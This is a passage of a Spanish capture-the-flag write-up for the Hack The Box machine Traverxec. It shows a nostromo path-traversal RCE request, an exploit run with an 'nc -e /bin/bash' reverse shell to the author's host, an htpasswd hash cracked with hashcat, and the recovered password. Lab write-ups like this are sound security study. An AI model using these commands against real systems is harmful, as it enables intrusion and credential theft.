<div class="highlight"><pre tabindex="0" style="color:#f8f8f2;background-color:#272822;-moz-tab-size:4;-o-tab-size:4;tab-size:4;"><code class="language-text" data-lang="text"><span style="display:flex;"><span>tony@laptop:~/htb/traverxec$ echo -e $&#34;POST /.%0d./.%0d./.%0d./.%0d./bin/sh HTTP/1.0\nHost: 10.10.10.165Content-Length: 1\r\n\r\necho\necho\nwhereis nc 2&amp;&gt;1\n&#34; | ncat -vn 10.10.10.165 80
</span></span><span style="display:flex;"><span>Ncat: Version 7.80 ( https://nmap.org/ncat )
</span></span><span style="display:flex;"><span>Ncat: Connected to 10.10.10.165:80.
</span></span><span style="display:flex;"><span>HTTP/1.1 200 OK
</span></span><span style="display:flex;"><span>Date: Sun, 12 Apr 2020 21:12:17 GMT
</span></span><span style="display:flex;"><span>Server: nostromo 1.9.6
</span></span><span style="display:flex;"><span>Connection: close
</span></span><span style="display:flex;"><span>
</span></span><span style="display:flex;"><span>
</span></span><span style="display:flex;"><span>nc: /usr/bin/nc /usr/bin/nc.traditional /usr/share/man/man1/nc.1.gz
</span></span><span style="display:flex;"><span>2:
</span></span><span style="display:flex;"><span>Ncat: 112 bytes sent, 172 bytes received in 1.74 seconds.
</span></span></code></pre></div><p>Para nuestra fortuna tenemos netcat traditional. Esta es la que acepta el conector hacia un programa y nos permite redirigir todo de manera mas fácil. La otra, openbsd, requiere que manualmente nosotros creemos una pipe con mknod o mkfifo para redirigir la entrada y salida.</p>
<h2 id="netcat-traditional-reverse-shell">Netcat traditional reverse shell</h2>
<p>Ahora que hemos probado lo que requerimos, volver al exploit para mostrar su uso:</p>
<div class="highlight"><pre tabindex="0" style="color:#f8f8f2;background-color:#272822;-moz-tab-size:4;-o-tab-size:4;tab-size:4;"><code class="language-text" data-lang="text"><span style="display:flex;"><span>tony@laptop:~/htb/traverxec$ ./47837.py 10.10.10.165 80 &#34;nc -e /bin/bash 10.10.14.2 3001&#34;
</span></span><span style="display:flex;"><span>
</span></span><span style="display:flex;"><span>
</span></span><span style="display:flex;"><span>                                        _____-2019-16278
</span></span><span style="display:flex;"><span>        _____  _______    ______   _____\    \
</span></span><span style="display:flex;"><span>   _____\    \_\      |  |      | /    / |    |
</span></span><span style="display:flex;"><span>  /     /|     ||     /  /     /|/    /  /___/|
</span></span><span style="display:flex;"><span> /     / /____/||\    \  \    |/|    |__ |___|/
</span></span><span style="display:flex;"><span>|     | |____|/ \ \    \ |    | |       \
</span></span><span style="display:flex;"><span>|     |  _____   \|     \|    | |     __/ __
</span></span><span style="display:flex;"><span>|\     \|\    \   |\         /| |\    \  /  \
</span></span><span style="display:flex;"><span>| \_____\|    |   | \_______/ | | \____\/    |
</span></span><span style="display:flex;"><span>| |     /____/|    \ |     | /  | |    |____/|
</span></span><span style="display:flex;"><span> \|_____|    ||     \|_____|/    \|____|   | |
</span></span><span style="display:flex;"><span>        |____|/                        |___|/
</span></span></code></pre></div><p>El exploit recibe los siguientes argumentos:</p>
<ul>
<li><code>10.10.10.165</code>, como la ip del servidor al que nos conectaremos</li>
<li><code>80</code>, como el puerto donde nos conectaremos donde se ejecuta nostromo</li>
<li><code>nc -e /bin/bash 10.10.14.2 3001</code>, como el comando a ejecutarse remotamente</li>
</ul>
<p>El comando nc o <code>netcat</code> recibe los argumentos:</p>
<ul>
<li><code>-e /bin/bash</code>, la opción <code>-e</code> crea la conexión entre la entrada y salida del programa <code>/bin/bash</code> y <code>netcat</code></li>
<li><code>10.10.14.2</code>, es la dirección IP de mi maquina</li>
<li><code>3001</code>, es el puerto que tengo escuchando por conexiones reversas.</li>
</ul>
<p>Ahora, antes de ejecutar el comando, preparamos nuestro listener:</p>
<div class="highlight"><pre tabindex="0" style="color:#f8f8f2;background-color:#272822;-moz-tab-size:4;-o-tab-size:4;tab-size:4;"><code class="language-text" data-lang="text"><span style="display:flex;"><span>tony@laptop:~$ ncat -vnlp 3001
</span></span><span style="display:flex;"><span>Ncat: Version 7.80 ( https://nmap.org/ncat )
</span></span><span style="display:flex;"><span>Ncat: Listening on :::3001
</span></span><span style="display:flex;"><span>Ncat: Listening on 0.0.0.0:3001
</span></span><span style="display:flex;"><span>Ncat: Connection from 10.10.10.165.
</span></span><span style="display:flex;"><span>Ncat: Connection from 10.10.10.165:44092.
</span></span><span style="display:flex;"><span>id
</span></span><span style="display:flex;"><span>uid=33(www-data) gid=33(www-data) groups=33(www-data)
</span></span></code></pre></div><ul>
<li><code>-v</code>, para habilitar el modo <em>verboso</em></li>
<li><code>-n</code>, para eliminar las resoluciones de DNS</li>
<li><code>-l</code>, para indicarle el modo de LISTENER en netcat</li>
<li><code>-p 3001</code>, para especificar el puerto que sera el listener en todas las interfaces.</li>
</ul>
<p>Como podemos ver, he lanzado el comando <code>id</code> que nos ha devuelto la salida del usuario que actualmente esta asociado al proceso que ejecuto el RCE.</p>
<h1 id="from-www-data-to-david">From www-data to david</h1>
<p>Como podemos ver tenemos una conexión reversa un poco limitada, así que comencemos por hacer un mejora a una TTY interactiva:</p>
<div class="highlight"><pre tabindex="0" style="color:#f8f8f2;background-color:#272822;-moz-tab-size:4;-o-tab-size:4;tab-size:4;"><code class="language-text" data-lang="text"><span style="display:flex;"><span>python --version
</span></span><span style="display:flex;"><span>python3 --version
</span></span><span style="display:flex;"><span>Python 3.7.3
</span></span><span style="display:flex;"><span>python3 -c &#39;import pty;pty.spawn(&#34;/bin/bash&#34;)&#39;
</span></span><span style="display:flex;"><span>www-data@traverxec:/usr/bin$ id
</span></span><span style="display:flex;"><span>id
</span></span><span style="display:flex;"><span>uid=33(www-data) gid=33(www-data) groups=33(www-data)
</span></span><span style="display:flex;"><span>www-data@traverxec:/usr/bin$
</span></span></code></pre></div><p>Veamos el contenido de <code>/etc/passwd</code>:</p>
<div class="highlight"><pre tabindex="0" style="color:#f8f8f2;background-color:#272822;-moz-tab-size:4;-o-tab-size:4;tab-size:4;"><code class="language-text" data-lang="text"><span style="display:flex;"><span>www-data@traverxec:/usr/bin$ cat /etc/passwd
</span></span><span style="display:flex;"><span>cat /etc/passwd
</span></span><span style="display:flex;"><span>root:x:0:0:root:/root:/bin/bash
</span></span><span style="display:flex;"><span>daemon:x:1:1:daemon:/usr/sbin:/usr/sbin/nologin
</span></span><span style="display:flex;"><span>bin:x:2:2:bin:/bin:/usr/sbin/nologin
</span></span><span style="display:flex;"><span>sys:x:3:3:sys:/dev:/usr/sbin/nologin
</span></span><span style="display:flex;"><span>sync:x:4:65534:sync:/bin:/bin/sync
</span></span><span style="display:flex;"><span>games:x:5:60:games:/usr/games:/usr/sbin/nologin
</span></span><span style="display:flex;"><span>man:x:6:12:man:/var/cache/man:/usr/sbin/nologin
</span></span><span style="display:flex;"><span>lp:x:7:7:lp:/var/spool/lpd:/usr/sbin/nologin
</span></span><span style="display:flex;"><span>mail:x:8:8:mail:/var/mail:/usr/sbin/nologin
</span></span><span style="display:flex;"><span>news:x:9:9:news:/var/spool/news:/usr/sbin/nologin
</span></span><span style="display:flex;"><span>uucp:x:10:10:uucp:/var/spool/uucp:/usr/sbin/nologin
</span></span><span style="display:flex;"><span>proxy:x:13:13:proxy:/bin:/usr/sbin/nologin
</span></span><span style="display:flex;"><span>www-data:x:33:33:www-data:/var/www:/usr/sbin/nologin
</span></span><span style="display:flex;"><span>backup:x:34:34:backup:/var/backups:/usr/sbin/nologin
</span></span><span style="display:flex;"><span>list:x:38:38:Mailing List Manager:/var/list:/usr/sbin/nologin
</span></span><span style="display:flex;"><span>irc:x:39:39:ircd:/var/run/ircd:/usr/sbin/nologin
</span></span><span style="display:flex;"><span>gnats:x:41:41:Gnats Bug-Reporting System (admin):/var/lib/gnats:/usr/sbin/nologin
</span></span><span style="display:flex;"><span>nobody:x:65534:65534:nobody:/nonexistent:/usr/sbin/nologin
</span></span><span style="display:flex;"><span>_apt:x:100:65534::/nonexistent:/usr/sbin/nologin
</span></span><span style="display:flex;"><span>systemd-timesync:x:101:102:systemd Time Synchronization,,,:/run/systemd:/usr/sbin/nologin
</span></span><span style="display:flex;"><span>systemd-network:x:102:103:systemd Network Management,,,:/run/systemd:/usr/sbin/nologin
</span></span><span style="display:flex;"><span>systemd-resolve:x:103:104:systemd Resolver,,,:/run/systemd:/usr/sbin/nologin
</span></span><span style="display:flex;"><span>messagebus:x:104:110::/nonexistent:/usr/sbin/nologin
</span></span><span style="display:flex;"><span>sshd:x:105:65534::/run/sshd:/usr/sbin/nologin
</span></span><span style="display:flex;"><span>david:x:1000:1000:david,,,:/home/david:/bin/bash
</span></span><span style="display:flex;"><span>systemd-coredump:x:999:999:systemd Core Dumper:/:/usr/sbin/nologin
</span></span></code></pre></div><p>Como podemos ver, solo <code>root</code> y <code>david</code> pueden tener una shell, así que debemos migrar a <em>david</em> desde <strong>www-data</strong>.</p>
<p>Exploremos la configuración del servicio de nostromo (<code>/usr/local/sbin/nhttpd</code>):</p>
<p>Nota: <code>ps -fea | grep www-data</code> nos indica los procesos que ejecuta el usuario www-data, ahí veremos que aparte de nuestra reverse shell y la mejora a interactive tty, el proceso nhttpd aka nostromo.</p>
<div class="highlight"><pre tabindex="0" style="color:#f8f8f2;background-color:#272822;-moz-tab-size:4;-o-tab-size:4;tab-size:4;"><code class="language-text" data-lang="text"><span style="display:flex;"><span>www-data@traverxec:/usr/bin$ find / -iname nostromo 2&gt;/dev/null
</span></span><span style="display:flex;"><span>find / -iname nostromo 2&gt;/dev/null
</span></span><span style="display:flex;"><span>/var/nostromo
</span></span><span style="display:flex;"><span>www-data@traverxec:/usr/bin$ find /var/nostromo
</span></span><span style="display:flex;"><span>find /var/nostromo
</span></span><span style="display:flex;"><span>/var/nostromo
</span></span><span style="display:flex;"><span>/var/nostromo/logs
</span></span><span style="display:flex;"><span>/var/nostromo/logs/nhttpd.pid
</span></span><span style="display:flex;"><span>/var/nostromo/conf
</span></span><span style="display:flex;"><span>/var/nostromo/conf/mimes
</span></span><span style="display:flex;"><span>/var/nostromo/conf/.htpasswd
</span></span><span style="display:flex;"><span>/var/nostromo/conf/nhttpd.conf
</span></span><span style="display:flex;"><span>/var/nostromo/icons
</span></span><span style="display:flex;"><span>/var/nostromo/icons/dir.gif
</span></span><span style="display:flex;"><span>/var/nostromo/icons/file.gif
</span></span><span style="display:flex;"><span>/var/nostromo/htdocs
</span></span><span style="display:flex;"><span>/var/nostromo/htdocs/js
</span></span><span style="display:flex;"><span>/var/nostromo/htdocs/js/main.js
</span></span><span style="display:flex;"><span>/var/nostromo/htdocs/css
</span></span><span style="display:flex;"><span>/var/nostromo/htdocs/css/style.css
</span></span><span style="display:flex;"><span>/var/nostromo/htdocs/empty.html
</span></span><span style="display:flex;"><span>/var/nostromo/htdocs/lib
</span></span><span style="display:flex;"><span>/var/nostromo/htdocs/lib/prettyphoto
</span></span><span style="display:flex;"><span>/var/nostromo/htdocs/lib/prettyphoto/js
</span></span><span style="display:flex;"><span>/var/nostromo/htdocs/lib/prettyphoto/js/prettyphoto.js
</span></span><span style="display:flex;"><span>/var/nostromo/htdocs/lib/prettyphoto/css
</span></span><span style="display:flex;"><span>/var/nostromo/htdocs/lib/prettyphoto/css/prettyphoto.css
</span></span><span style="display:flex;"><span>/var/nostromo/htdocs/lib/prettyphoto/images
</span></span><span style="display:flex;"><span>/var/nostromo/htdocs/lib/prettyphoto/images/prettyPhoto
</span></span><span style="display:flex;"><span>/var/nostromo/htdocs/lib/prettyphoto/images/prettyPhoto/facebook
</span></span><span style="display:flex;"><span>/var/nostromo/htdocs/lib/prettyphoto/images/prettyPhoto/facebook/default_thumbnail.gif
</span></span><span style="display:flex;"><span>/var/nostromo/htdocs/lib/prettyphoto/images/prettyPhoto/facebook/contentPatternBottom.png
</span></span><span style="display:flex;"><span>/var/nostromo/htdocs/lib/prettyphoto/images/prettyPhoto/facebook/btnNext.png
</span></span><span style="display:flex;"><span>/var/nostromo/htdocs/lib/prettyphoto/images/prettyPhoto/facebook/contentPatternTop.png
</span></span><span style="display:flex;"><span>/var/nostromo/htdocs/lib/prettyphoto/images/prettyPhoto/facebook/contentPatternRight.png
</span></span><span style="display:flex;"><span>/var/nostromo/htdocs/lib/prettyphoto/images/prettyPhoto/facebook/btnPrevious.png
</span></span><span style="display:flex;"><span>/var/nostromo/htdocs/lib/prettyphoto/images/prettyPhoto/facebook/contentPatternLeft.png
</span></span><span style="display:flex;"><span>/var/nostromo/htdocs/lib/prettyphoto/images/prettyPhoto/facebook/sprite.png
</span></span><span style="display:flex;"><span>/var/nostromo/htdocs/lib/prettyphoto/images/prettyPhoto/facebook/loader.gif
</span></span><span style="display:flex;"><span>/var/nostromo/htdocs/lib/prettyphoto/images/prettyPhoto/dark_square
</span></span><span style="display:flex;"><span>/var/nostromo/htdocs/lib/prettyphoto/images/prettyPhoto/dark_square/default_thumbnail.gif
</span></span><span style="display:flex;"><span>/var/nostromo/htdocs/lib/prettyphoto/images/prettyPhoto/dark_square/contentPattern.png
</span></span><span style="display:flex;"><span>/var/nostromo/htdocs/lib/prettyphoto/images/prettyPhoto/dark_square/btnNext.png
</span></span><span style="display:flex;"><span>/var/nostromo/htdocs/lib/prettyphoto/images/prettyPhoto/dark_square/btnPrevious.png
</span></span><span style="display:flex;"><span>/var/nostromo/htdocs/lib/prettyphoto/images/prettyPhoto/dark_square/sprite.png
</span></span><span style="display:flex;"><span>/var/nostromo/htdocs/lib/prettyphoto/images/prettyPhoto/dark_square/loader.gif
</span></span><span style="display:flex;"><span>/var/nostromo/htdocs/lib/prettyphoto/images/prettyPhoto/default
</span></span><span style="display:flex;"><span>/var/nostromo/htdocs/lib/prettyphoto/images/prettyPhoto/default/default_thumb.png
</span></span><span style="display:flex;"><span>/var/nostromo/htdocs/lib/prettyphoto/images/prettyPhoto/default/sprite_next.png
</span></span><span style="display:flex;"><span>/var/nostromo/htdocs/lib/prettyphoto/images/prettyPhoto/default/sprite_prev.png
</span></span><span style="display:flex;"><span>/var/nostromo/htdocs/lib/prettyphoto/images/prettyPhoto/default/sprite_y.png
</span></span><span style="display:flex;"><span>/var/nostromo/htdocs/lib/prettyphoto/images/prettyPhoto/default/sprite.png
</span></span><span style="display:flex;"><span>/var/nostromo/htdocs/lib/prettyphoto/images/prettyPhoto/default/sprite_x.png
</span></span><span style="display:flex;"><span>/var/nostromo/htdocs/lib/prettyphoto/images/prettyPhoto/default/loader.gif
</span></span><span style="display:flex;"><span>/var/nostromo/htdocs/lib/prettyphoto/images/prettyPhoto/dark_rounded
</span></span><span style="display:flex;"><span>/var/nostromo/htdocs/lib/prettyphoto/images/prettyPhoto/dark_rounded/default_thumbnail.gif
</span></span><span style="display:flex;"><span>/var/nostromo/htdocs/lib/prettyphoto/images/prettyPhoto/dark_rounded/contentPattern.png
</span></span><span style="display:flex;"><span>/var/nostromo/htdocs/lib/prettyphoto/images/prettyPhoto/dark_rounded/btnNext.png
</span></span><span style="display:flex;"><span>/var/nostromo/htdocs/lib/prettyphoto/images/prettyPhoto/dark_rounded/btnPrevious.png
</span></span><span style="display:flex;"><span>/var/nostromo/htdocs/lib/prettyphoto/images/prettyPhoto/dark_rounded/sprite.png
</span></span><span style="display:flex;"><span>/var/nostromo/htdocs/lib/prettyphoto/images/prettyPhoto/dark_rounded/loader.gif
</span></span><span style="display:flex;"><span>/var/nostromo/htdocs/lib/prettyphoto/images/prettyPhoto/light_square
</span></span><span style="display:flex;"><span>/var/nostromo/htdocs/lib/prettyphoto/images/prettyPhoto/light_square/default_thumbnail.gif
</span></span><span style="display:flex;"><span>/var/nostromo/htdocs/lib/prettyphoto/images/prettyPhoto/light_square/btnNext.png
</span></span><span style="display:flex;"><span>/var/nostromo/htdocs/lib/prettyphoto/images/prettyPhoto/light_square/btnPrevious.png
</span></span><span style="display:flex;"><span>/var/nostromo/htdocs/lib/prettyphoto/images/prettyPhoto/light_square/sprite.png
</span></span><span style="display:flex;"><span>/var/nostromo/htdocs/lib/prettyphoto/images/prettyPhoto/light_square/loader.gif
</span></span><span style="display:flex;"><span>/var/nostromo/htdocs/lib/prettyphoto/images/prettyPhoto/light_rounded
</span></span><span style="display:flex;"><span>/var/nostromo/htdocs/lib/prettyphoto/images/prettyPhoto/light_rounded/default_thumbnail.gif
</span></span><span style="display:flex;"><span>/var/nostromo/htdocs/lib/prettyphoto/images/prettyPhoto/light_rounded/btnNext.png
</span></span><span style="display:flex;"><span>/var/nostromo/htdocs/lib/prettyphoto/images/prettyPhoto/light_rounded/btnPrevious.png
</span></span><span style="display:flex;"><span>/var/nostromo/htdocs/lib/prettyphoto/images/prettyPhoto/light_rounded/sprite.png
</span></span><span style="display:flex;"><span>/var/nostromo/htdocs/lib/prettyphoto/images/prettyPhoto/light_rounded/loader.gif
</span></span><span style="display:flex;"><span>/var/nostromo/htdocs/lib/jquery
</span></span><span style="display:flex;"><span>/var/nostromo/htdocs/lib/jquery/jquery.min.js
</span></span><span style="display:flex;"><span>/var/nostromo/htdocs/lib/jquery/jquery.js
</span></span><span style="display:flex;"><span>/var/nostromo/htdocs/lib/bootstrap
</span></span><span style="display:flex;"><span>/var/nostromo/htdocs/lib/bootstrap/js
</span></span><span style="display:flex;"><span>/var/nostromo/htdocs/lib/bootstrap/js/bootstrap.min.js
</span></span><span style="display:flex;"><span>/var/nostromo/htdocs/lib/bootstrap/js/bootstrap.js
</span></span><span style="display:flex;"><span>/var/nostromo/htdocs/lib/bootstrap/css
</span></span><span style="display:flex;"><span>/var/nostromo/htdocs/lib/bootstrap/css/bootstrap.min.css
</span></span><span style="display:flex;"><span>/var/nostromo/htdocs/lib/bootstrap/css/bootstrap.css
</span></span><span style="display:flex;"><span>/var/nostromo/htdocs/lib/bootstrap/fonts
</span></span><span style="display:flex;"><span>/var/nostromo/htdocs/lib/bootstrap/fonts/glyphicons-halflings-regular.ttf
</span></span><span style="display:flex;"><span>/var/nostromo/htdocs/lib/bootstrap/fonts/glyphicons-halflings-regular.woff2
</span></span><span style="display:flex;"><span>/var/nostromo/htdocs/lib/bootstrap/fonts/glyphicons-halflings-regular.eot
</span></span><span style="display:flex;"><span>/var/nostromo/htdocs/lib/bootstrap/fonts/glyphicons-halflings-regular.woff
</span></span><span style="display:flex;"><span>/var/nostromo/htdocs/lib/bootstrap/fonts/glyphicons-halflings-regular.svg
</span></span><span style="display:flex;"><span>/var/nostromo/htdocs/lib/isotope
</span></span><span style="display:flex;"><span>/var/nostromo/htdocs/lib/isotope/isotope.min.js
</span></span><span style="display:flex;"><span>/var/nostromo/htdocs/lib/hover
</span></span><span style="display:flex;"><span>/var/nostromo/htdocs/lib/hover/hoverex.min.js
</span></span><span style="display:flex;"><span>/var/nostromo/htdocs/lib/hover/hoverex-all.css
</span></span><span style="display:flex;"><span>/var/nostromo/htdocs/lib/hover/hoverdir.js
</span></span><span style="display:flex;"><span>/var/nostromo/htdocs/lib/php-mail-form
</span></span><span style="display:flex;"><span>/var/nostromo/htdocs/lib/php-mail-form/validate.js
</span></span><span style="display:flex;"><span>/var/nostromo/htdocs/lib/ionicons
</span></span><span style="display:flex;"><span>/var/nostromo/htdocs/lib/ionicons/css
</span></span><span style="display:flex;"><span>/var/nostromo/htdocs/lib/ionicons/css/ionicons.min.css
</span></span><span style="display:flex;"><span>/var/nostromo/htdocs/lib/ionicons/fonts
</span></span><span style="display:flex;"><span>/var/nostromo/htdocs/lib/ionicons/fonts/ionicons.woff
</span></span><span style="display:flex;"><span>/var/nostromo/htdocs/lib/ionicons/fonts/ionicons.ttf
</span></span><span style="display:flex;"><span>/var/nostromo/htdocs/lib/ionicons/fonts/ionicons.eot
</span></span><span style="display:flex;"><span>/var/nostromo/htdocs/lib/ionicons/fonts/ionicons.svg
</span></span><span style="display:flex;"><span>/var/nostromo/htdocs/index.html
</span></span><span style="display:flex;"><span>/var/nostromo/htdocs/img
</span></span><span style="display:flex;"><span>/var/nostromo/htdocs/img/client4.png
</span></span><span style="display:flex;"><span>/var/nostromo/htdocs/img/client3.png
</span></span><span style="display:flex;"><span>/var/nostromo/htdocs/img/header-2.jpg
</span></span><span style="display:flex;"><span>/var/nostromo/htdocs/img/apple-touch-icon.png
</span></span><span style="display:flex;"><span>/var/nostromo/htdocs/img/sep.jpg
</span></span><span style="display:flex;"><span>/var/nostromo/htdocs/img/portfolio
</span></span><span style="display:flex;"><span>/var/nostromo/htdocs/img/portfolio/portfolio_04.jpg
</span></span><span style="display:flex;"><span>/var/nostromo/htdocs/img/portfolio/portfolio_07.jpg
</span></span><span style="display:flex;"><span>/var/nostromo/htdocs/img/portfolio/portfolio_10.jpg
</span></span><span style="display:flex;"><span>/var/nostromo/htdocs/img/portfolio/portfolio_09.jpg
</span></span><span style="display:flex;"><span>/var/nostromo/htdocs/img/portfolio/portfolio_08.jpg
</span></span><span style="display:flex;"><span>/var/nostromo/htdocs/img/portfolio/portfolio_01.jpg
</span></span><span style="display:flex;"><span>/var/nostromo/htdocs/img/portfolio/portfolio_05.jpg
</span></span><span style="display:flex;"><span>/var/nostromo/htdocs/img/portfolio/portfolio_03.jpg
</span></span><span style="display:flex;"><span>/var/nostromo/htdocs/img/portfolio/portfolio_06.jpg
</span></span><span style="display:flex;"><span>/var/nostromo/htdocs/img/portfolio/portfolio_02.jpg
</span></span><span style="display:flex;"><span>/var/nostromo/htdocs/img/logoclient.png
</span></span><span style="display:flex;"><span>/var/nostromo/htdocs/img/items.png
</span></span><span style="display:flex;"><span>/var/nostromo/htdocs/img/client5.png
</span></span><span style="display:flex;"><span>/var/nostromo/htdocs/img/favicon.png
</span></span><span style="display:flex;"><span>/var/nostromo/htdocs/img/screen.png
</span></span><span style="display:flex;"><span>/var/nostromo/htdocs/img/client1.png
</span></span><span style="display:flex;"><span>/var/nostromo/htdocs/img/header.jpg
</span></span><span style="display:flex;"><span>/var/nostromo/htdocs/img/client2.png
</span></span><span style="display:flex;"><span>/var/nostromo/htdocs/Readme.txt
</span></span><span style="display:flex;"><span>www-data@traverxec:/usr/bin$
</span></span></code></pre></div><p>Resaltan los archivos de configuración <code>/var/nostromo/conf/nhttpd.conf</code> y <code>/var/nostromo/conf/.htpasswd</code></p>
<div class="highlight"><pre tabindex="0" style="color:#f8f8f2;background-color:#272822;-moz-tab-size:4;-o-tab-size:4;tab-size:4;"><code class="language-text" data-lang="text"><span style="display:flex;"><span>www-data@traverxec:/usr/bin$ cat /var/nostromo/conf/nhttpd.conf
</span></span><span style="display:flex;"><span>cat /var/nostromo/conf/nhttpd.conf
</span></span><span style="display:flex;"><span># MAIN [MANDATORY]
</span></span><span style="display:flex;"><span>
</span></span><span style="display:flex;"><span>servername              traverxec.htb
</span></span><span style="display:flex;"><span>serverlisten            *
</span></span><span style="display:flex;"><span>serveradmin             david@traverxec.htb
</span></span><span style="display:flex;"><span>serverroot              /var/nostromo
</span></span><span style="display:flex;"><span>servermimes             conf/mimes
</span></span><span style="display:flex;"><span>docroot                 /var/nostromo/htdocs
</span></span><span style="display:flex;"><span>docindex                index.html
</span></span><span style="display:flex;"><span>
</span></span><span style="display:flex;"><span># LOGS [OPTIONAL]
</span></span><span style="display:flex;"><span>
</span></span><span style="display:flex;"><span>logpid                  logs/nhttpd.pid
</span></span><span style="display:flex;"><span>
</span></span><span style="display:flex;"><span># SETUID [RECOMMENDED]
</span></span><span style="display:flex;"><span>
</span></span><span style="display:flex;"><span>user                    www-data
</span></span><span style="display:flex;"><span>
</span></span><span style="display:flex;"><span># BASIC AUTHENTICATION [OPTIONAL]
</span></span><span style="display:flex;"><span>
</span></span><span style="display:flex;"><span>htaccess                .htaccess
</span></span><span style="display:flex;"><span>htpasswd                /var/nostromo/conf/.htpasswd
</span></span><span style="display:flex;"><span>
</span></span><span style="display:flex;"><span># ALIASES [OPTIONAL]
</span></span><span style="display:flex;"><span>
</span></span><span style="display:flex;"><span>/icons                  /var/nostromo/icons
</span></span><span style="display:flex;"><span>
</span></span><span style="display:flex;"><span># HOMEDIRS [OPTIONAL]
</span></span><span style="display:flex;"><span>
</span></span><span style="display:flex;"><span>homedirs                /home
</span></span><span style="display:flex;"><span>homedirs_public         public_www
</span></span></code></pre></div><p>En este archivo no tenemos nada realmente interesante, pero veamos el siguiente:</p>
<div class="highlight"><pre tabindex="0" style="color:#f8f8f2;background-color:#272822;-moz-tab-size:4;-o-tab-size:4;tab-size:4;"><code class="language-text" data-lang="text"><span style="display:flex;"><span>www-data@traverxec:/usr/bin$ cat /var/nostromo/conf/.htpasswd
</span></span><span style="display:flex;"><span>cat /var/nostromo/conf/.htpasswd
</span></span><span style="display:flex;"><span>david:$1$e7NfNpNi$A6nCwOTqrNR2oDuIKirRZ/
</span></span></code></pre></div><p>Uy, un hash.</p>
<h2 id="hashcat">hashcat</h2>
<p>Comencemos por identificar el hash de acuerdo a su formato:</p>
<div class="highlight"><pre tabindex="0" style="color:#f8f8f2;background-color:#272822;-moz-tab-size:4;-o-tab-size:4;tab-size:4;"><code class="language-text" data-lang="text"><span style="display:flex;"><span>tony@laptop:~$ hashcat --example-hashes | grep &#39;$1&#39; -m2 -A 2 -B 2
</span></span><span style="display:flex;"><span>
</span></span><span style="display:flex;"><span>MODE: 500
</span></span><span style="display:flex;"><span>TYPE: md5crypt, MD5 (Unix), Cisco-IOS $1$ (MD5)
</span></span><span style="display:flex;"><span>HASH: $1$38652870$DUjsu4TTlTsOe/xxZ05uf/
</span></span><span style="display:flex;"><span>PASS: hashcat
</span></span></code></pre></div><p>Nostromo parece utilizar el formato md5crypt para almacenar las contraseñas de los usuarios del htaccess.</p>
<p>Ataquemos por fuerza bruta el hash de david con el diccionario de <strong>rockyou.txt</strong>:</p>
<div class="highlight"><pre tabindex="0" style="color:#f8f8f2;background-color:#272822;-moz-tab-size:4;-o-tab-size:4;tab-size:4;"><code class="language-text" data-lang="text"><span style="display:flex;"><span>tony@laptop:~$ ~/tools/hashcat-5.1.0/hashcat64.bin -m500 &#39;$1$e7NfNpNi$A6nCwOTqrNR2oDuIKirRZ/&#39; ~/wl/rockyou.txt2 --quiet
</span></span><span style="display:flex;"><span>clGetDeviceIDs(): CL_DEVICE_NOT_FOUND
</span></span><span style="display:flex;"><span>
</span></span><span style="display:flex;"><span>clGetDeviceIDs(): CL_DEVICE_NOT_FOUND
</span></span><span style="display:flex;"><span>
</span></span><span style="display:flex;"><span>$1$e7NfNpNi$A6nCwOTqrNR2oDuIKirRZ/:Nowonly4me
</span></span></code></pre></div><p>Cool. Ahora tenemos las credenciales de david.</p>
<blockquote>
<p>david:Nowonly4me</p>
</blockquote>
<h2 id="ssh-as-david">ssh as David?</h2>
<p>Nos conectamos por SSH como david:</p>
<div class="highlight"><pre tabindex="0" style="color:#f8f8f2;background-color:#272822;-moz-tab-size:4;-o-tab-size:4;tab-size:4;"><code class="language-text" data-lang="text"><span style="display:flex;"><span>tony@laptop:~$ ssh david@10.10.10.165
</span></span><span style="display:flex;"><span>The authenticity of host &#39;10.10.10.165 (10.10.10.165)&#39; can&#39;t be established.
</span></span><span style="display:flex;"><span>ECDSA key fingerprint is SHA256:CiO/pUMzd+6bHnEhA2rAU30QQiNdWOtkEPtJoXnWzVo.
</span></span><span style="display:flex;"><span>Are you sure you want to continue connecting (yes/no/[fingerprint])? yes
</span></span><span style="display:flex;"><span>Warning: Permanently added &#39;10.10.10.165&#39; (ECDSA) to the list of known hosts.
</span></span><span style="display:flex;"><span>david@10.10.10.165&#39;s password:
</span></span><span style="display:flex;"><span>Permission denied, please try again.
</span></span><span style="display:flex;"><span>david@10.10.10.165&#39;s password:
</span></span><span style="display:flex;"><span>Permission denied, please try again.
</span></span><span style="display:flex;"><span>david@10.10.10.165&#39;s password:
</span></span><span style="display:flex;"><span>david@10.10.10.165: Permission denied (publickey,password).
</span></span></code></pre></div><p>Ok, o tal vez no. Parece que la contraseña de &ldquo;david&rdquo; no es para el usuario.</p>
<h2 id="back-to-home">Back to home</h2>
<p>Continuemos ahora explorando el home de david:</p>
<div class="highlight"><pre tabindex="0" style="color:#f8f8f2;background-color:#272822;-moz-tab-size:4;-o-tab-size:4;tab-size:4;"><code class="language-text" data-lang="text"><span style="display:flex;"><span>www-data@traverxec:/usr/bin$ ls /home
</span></span><span style="display:flex;"><span>ls /home
</span></span><span style="display:flex;"><span>david
</span></span><span style="display:flex;"><span>www-data@traverxec:/usr/bin$ ls -lah /home/david
</span></span><span style="display:flex;"><span>ls -lah /home/david
</span></span><span style="display:flex;"><span>ls: cannot open directory &#39;/home/david&#39;: Permission denied
</span></span></code></pre></div><p>Como podemos ver, no tenemos acceso al directorio home de david, pero aquí es donde volviendo a las notas previas nos damos cuenta del siguiente detalle en el archivo de configuración de nostromo:</p>
<div class="highlight"><pre tabindex="0" style="color:#f8f8f2;background-color:#272822;-moz-tab-size:4;-o-tab-size:4;tab-size:4;"><code class="language-text" data-lang="text"><span style="display:flex;"><span># HOMEDIRS [OPTIONAL]
</span></span><span style="display:flex;"><span>
</span></span><span style="display:flex;"><span>homedirs                /home
</span></span><span style="display:flex;"><span>homedirs_public         public_www
</span></span></code></pre></div><p>Ahora con este conocimiento, y tras leer el manual de configuración, tratemos de listar el directorio:</p>
<div class="highlight"><pre tabindex="0" style="color:#f8f8f2;background-color:#272822;-moz-tab-size:4;-o-tab-size:4;tab-size:4;"><code class="language-text" data-lang="text"><span style="display:flex;"><span>www-data@traverxec:/usr/bin$ ls -la /home/david/public_www/
</span></span><span style="display:flex;"><span>ls -la /home/david/public_www/
</span></span><span style="display:flex;"><span>total 16
</span></span><span style="display:flex;"><span>drwxr-xr-x 3 david david 4096 Oct 25 15:45 .
</span></span><span style="display:flex;"><span>drwx--x--x 5 david david 4096 Oct 25 17:02 ..
</span></span><span style="display:flex;"><span>-rw-r--r-- 1 david david  402 Oct 25 15:45 index.html
